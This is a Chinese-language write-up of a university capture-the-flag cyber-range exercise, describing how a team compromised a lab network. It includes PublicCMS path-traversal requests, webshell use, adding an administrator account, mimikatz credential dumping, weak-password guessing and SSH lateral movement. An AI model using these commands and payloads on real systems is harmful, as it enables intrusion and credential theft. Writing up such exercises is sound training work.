2020年12月27日,錦行科技攜手華南農業大學數學與資訊學院、軟體學院順利舉辦了“錦行杯”大學生網路安全攻防對抗實戰。(傳送帶——實戰練兵 | “錦行杯”大學生網路安全攻防對抗實戰(華南農業大學專場)圓滿落幕)比賽雖然已經結束,但是“錦行杯”作為網路靶場演習的意義仍在延續。
本期我們邀請了近期在錦行杯比賽(華農場)獲得一等獎的參賽隊伍XCAU戰隊 (不想和隊友一隊 戰隊)與我們分享了他在錦行杯比賽中的攻擊思路。
"錦行杯"比賽 Writeup
01明確目標
獲取主機上所有的flag,一臺主機只有一個flag
初始切入點為網站:http://192.168.100.2:8080
可能需要操作:getshell,內網滲透,域滲透,路由轉發
可能存在的系統型別:伺服器系統,資料庫系統,內網客戶端(辦公機)
02資訊收集
進入網站,瀏覽網站,收集資訊網址:http://192.168.100.2:8080
最終主機:coreDB
後臺:admin admin :http://192.168.100.2:8080/admin/
作業系統:Windows Server 2012 R2(amd64)
CMS:public cms
版本:V4.0.20180210
語言:java
網站目錄:C:\Program Files\Java\jdk1.8.0_261\bin
(1)使用diresearch掃描網站目錄
python dirsearch.py -e java -u http://192.168.100.2:8080
[13:17:11]200-898B- /admin/login
[13:17:11]200-898B- /admin/login.java
[13:17:12]200-898B- /admin/login.asp
[13:17:12]200-898B- /admin/login.do
[13:17:12]200-898B- /admin/login.htm
[13:17:12]200-898B- /admin/login.html
[13:17:12]200-898B- /admin/login.jsp
[13:17:12]200-898B- /admin/login.php
[13:17:12]200-898B- /admin/login.py
[13:17:12]200-898B- /admin/login.rb
[13:17:14]200-29B- /api
[13:17:14]200-29B- /api/error_log
[13:17:14]200-29B- /api/swagger.yml
[13:17:14]200-29B- /api/
[13:17:14] 302 -0B - /admin/admin/login -> /admin/login.html?
returnUrl=%2Fadmin%2Fadmin%2Flogin
[13:17:18] 302 -0B- /docs->/docs/
[13:17:18] 200 -15KB - /docs/
[13:17:19] 302 -0B- /examples->/examples/
[13:17:19] 200 -1KB - /examples/
[13:17:19] 200 -757B- /examples/servlets/servlet/CookieExample
[13:17:19] 200 -1KB - /examples/servlets/servlet/RequestHeaderExample
[13:17:19] 200 -4KB - /favicon.ico
[13:17:19] 200 -6KB - /examples/servlets/index.html
(2)使用nmap主機發現
nmap -sL 網段
Nmap scan report for 192.168.100.1 Host is up (0.0012s latency).
Not shown: 999 closed ports PORT STATE SERVICE
22/tcp filtered ssh
Nmap scan report for 192.168.100.2 Host is up (0.00073s latency).
Not shown: 987 closed ports PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Nmap scan report for 192.168.100.3 Host is up (0.0018s latency).
All 1000 scanned ports on 192.168.100.3 are filtered
……
-sL #列表掃描--簡單地列出要掃描的目標
nmap -sL 192.168.100.0/24
-sn #ping掃描--不對埠掃描
nmap -sn 192.168.100.0/24
-Pn #將所有主機視為線上--跳過主機發現
nmap -Pn 192.168.100.0/24
-PS/PA/PU/PY #透過SYN/ACK/UDP/SCTP探測確認埠號
nmap-PS 192.168.100.0/24
nmap-PA 192.168.100.0/24
nmap-PU 192.168.100.0/24
nmap-PY 192.168.100.0/24
-PO #使用IP協議ping
nmap -Pn 192.168.100.0/24
-sV #版本檢測(sV)
nmap -sV -p- 192.168.52.143
-sV 用來掃描目標主機和埠上執行的軟體的版本
-p- 掃描0-65535全部埠
03網站getshell
當前網站滲透應該考的是資訊搜尋能力
使用google輸入關鍵字:“public cms getshell” “public cms 漏洞” 等查詢相關文章
在國家資訊保安漏洞庫裡面查詢publiccms的漏洞:http://www.cnnvd.org.cn/web/vulnerability/quer ylist.tag
在exploit-db網站查詢相關漏洞:https://www.exploit-db.com/
(1)PublicCMS 路徑遍歷漏洞
參考網址:https://github.com/sanluan/PublicCMS/issues/12
透過傳送get請求:/admin/cmsWebFile/list.html?path=../../../../../ 可以檢視當前系統目錄
透過傳送get請求:/admin/cmsTemplate/content.html?path=../../../../../../../../../flag.txt 可檢視檔案內容
構 建 請 求 :http://192.168.100.2:8080/admin/cmsTemplate
/content.html?path=../../../../../../../../../fl ag.txt 讀取第一個flag拿一血
(2)PublicCMS getshell漏洞
參考網址:https://github.com/sanluan/PublicCMS/issues/13
使用者可以透過在壓縮檔案中構造包含有特定檔名稱的壓縮檔案。
在public cms進行解壓後,會導致跨目錄任意寫入檔案漏洞的攻擊。進而有可能被Getshell,遠端控制
04內網滲透
利用蟻劍連線一句話木馬
切換到終端模式
whoami #檢視當前有效使用者名稱
netstat -an | find "3389" #檢視遠端登入埠是否開啟net user yyj yyj /add #嘗試新增使用者
net localgroup administrators test /add net user test #檢視test使用者資訊
憑據匯出:
憑據可以理解為目標機的賬號,密碼。匯出目標機憑據後,我們可以使用憑據實現橫向移動(利用hash 傳遞,smb/rdp爆破等等手法)來擴大我們的戰果。
(1)hashdump讀取記憶體密碼
利用遠端登入上傳mimitakz使用debug進行明文抓取執行目標機:mimitakz.exe
目標機輸入:privilege::debug 進行許可權提升
目標機輸入:sekurlsa::logonPasswords 進行明文抓取得到明文密碼
得到賬號密碼為:Administrator :MY2020jxsec@123
(2)透過檢視目標主機檔案發現提示資訊
提示了2個可繼續深入的內網IP
因為沒有做好記錄工作這裡自定義IP
主機(1)10.0.0.2
主機(2)10.0.1.3
利用nmap掃描上面2個IP發現開放了22埠,可以ssh連線
使用nmap掃描目標主機作業系統
嘗試mobaxterm遠端ssh連線兩臺主機,使用記憶體讀取的賬號密碼 Administrator :MY2020jxsec@123 嘗試登入兩臺主機,主機(1)登入成功
檢視主機(1)根目錄 以下的public或者temp資料夾 發現flag(2)
猜測主機(2)發現是Linux系統
(3)弱密碼登入
猜測此題考點為弱密碼登入
嘗試手動輸入幾個弱密碼登入root使用者
masquerade 4444
456123
abc123. live 0123456789
147852369
zxcasd 123
1234
12345
123456
password 1
111111
123456789
使用password登入root使用者成功
檢視主機(1)根目錄 以下的public或者temp資料夾
發現flag(3)
對主機(1)輸入history命令檢視歷史命令
發現有使用ssh遠端登入新的主機(3)
嘗試使用ssh連線主機(3),連線成功
檢視根目錄及其下的資料夾發現flag(4)
對主機(2)輸入history命令檢視歷史命令
發現有使用ssh遠端登入新的主機(4)
嘗試使用ssh連線主機(4),連線成功
檢視根目錄及其下的資料夾發現flag(5)
……